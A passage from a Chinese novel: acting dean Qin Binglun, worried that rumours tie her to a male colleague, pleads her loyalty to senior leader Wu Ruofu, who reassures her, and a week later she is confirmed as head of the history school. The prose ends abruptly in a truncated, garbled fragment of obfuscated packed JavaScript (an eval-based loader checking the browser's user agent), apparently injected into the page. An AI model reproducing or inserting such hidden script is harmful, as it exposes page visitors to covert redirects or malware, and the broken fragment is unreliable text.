“要不怎么说你有时候糊得淌汤(糊涂透顶)呢!”吴雅娟没好气地抢白道:“这种事,他能承认吗?打草惊蛇!”此时,吴雅娟心里已经有了主意:借校长父亲来敲打敲打秦冰纶这个“妖精”。
秦冰纶刚从苏州出差回来,副校长周濂就找上了门。东拉西扯了半天苏州之行的收获后,周濂将视线移向窗外,嘴角扯出一丝意味深长的笑意:“其实也没什么事。你这牵头快两年了吧?最近呢,我一直在和书记校长商量尽快给你转正的事情。”顿了顿,不等秦冰纶杏眼中的星光散去,周濂脸色沉了沉:“冰纶,你知道学校一直不太平静呢。现在是关键时期,你得多留个心眼,凡事都得谨慎处理才好。”
不等秦冰纶说话,周濂就急着离去,走到门口又回头意味深长地补了一句:“对了,吴校长……可是很关心你转正的事情的。你多给他汇报汇报嘛。”
听话听音,锣鼓听声。联想到沈菊英昨天提醒最近有人在拿她和顾明远说事的消息,秦冰纶心里打了个激灵,一股寒意从心底升起。
“难道……吴若甫也听到了那些谣传?”这个念头一冒出来,秦冰纶的心跳随之急促起来。吴若甫可是在楚江大学可是许继武都敬他让他三分的人物,如果他真的因为这些风言风语而产生了误解,那对转正的影响可就太大了,甚至对自己将来进入新领导班子的梦想带来毁灭性的影响。
她越想越觉得可怕,一刻也不能再等待。匆匆整理了一下衣着和妆容,又匆匆地赶到了吴若甫的办公室。
秦冰纶选择了以汇报近期学院工作作为切入口。讲得条理清晰,重点突出。吴若甫听得认真,甚至还不时在本子上做记录。
工作汇报完后,秦冰纶主动用感性的口吻诉说着女干部工作中的种种不易和辛酸,语气拿捏得恰到好处,既表达了意思,也烘托了委屈。
秦冰纶的这点深浅在老江湖的吴若甫面前一眼看穿。他“呵呵”笑了起来,语气听起来很随和:“小秦啊,你的能力和贡献有目共睹的嘛。还不至于有这么多苦水要倒吧?”
秦冰纶经不住软刀子的拉扯,沉不住气的她干脆主动出击,声音里甚至带着一丝哽咽:“不瞒吴校长您说,这些年,我秦冰纶风风火火在前面冲锋陷阵,为了工作拼尽全力,可身后……可没少被人放着冷箭中伤啊!”她巧妙地将“暗箭”换成更具象的“冷箭”,强调了自己的弱势和委屈。
吴若甫故作惊讶,身体微微前倾:“哦?还有这样的事?”
“怎么没有哇?”秦冰纶见引起了对方的注意,立刻趁热打铁,“我昨天刚出差回来,就听人说起,不知道是谁那么恶毒,竟然编排我和院里男教师的绯闻。吴校长,您说这有多可恶?多寒心?我作为院长,关心督促青年教师的成长,难道也有错吗?”她故意隐去了顾明远的名字,但“院里男教师”这个说法,其实是有意无意地在给吴若甫交底,表明自己知道谣言所指,并且问心无愧。
为了取信吴若甫,秦冰纶几乎要拍着胸脯表态:“吴校长,我是您一手培养起来的。您是最了解我的,我秦冰纶再怎么糊涂,也绝对糊涂不到这一步啊!我的一切都是学校给的,我怎么可能做出这种自毁前程、给您丢脸的事情呢?”
秦冰纶这番话无异于给吴若甫吃了一颗定心丸。他脸上的笑容变得真切了许多,高兴地用手梳理了一下头发,语气温和却带着不容置疑的力量说道:“冰纶啊,你说得对。只要自己行得正,就不怕影子斜嘛。清者自清,浊者自浊。组织上是信任你的,我也是信任你的。没事,回去好好抓工作,不要受这些闲言碎语的影响。转正的事情还是相信组织嘛。”
彷佛是为了证明自己对秦冰纶的放心,一周后,秦冰纶如愿当上了历史学院的院长。然而,她的内心却五味杂陈。转正的兴奋只有须臾,匿名信的惊吓却一直在萦绕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgen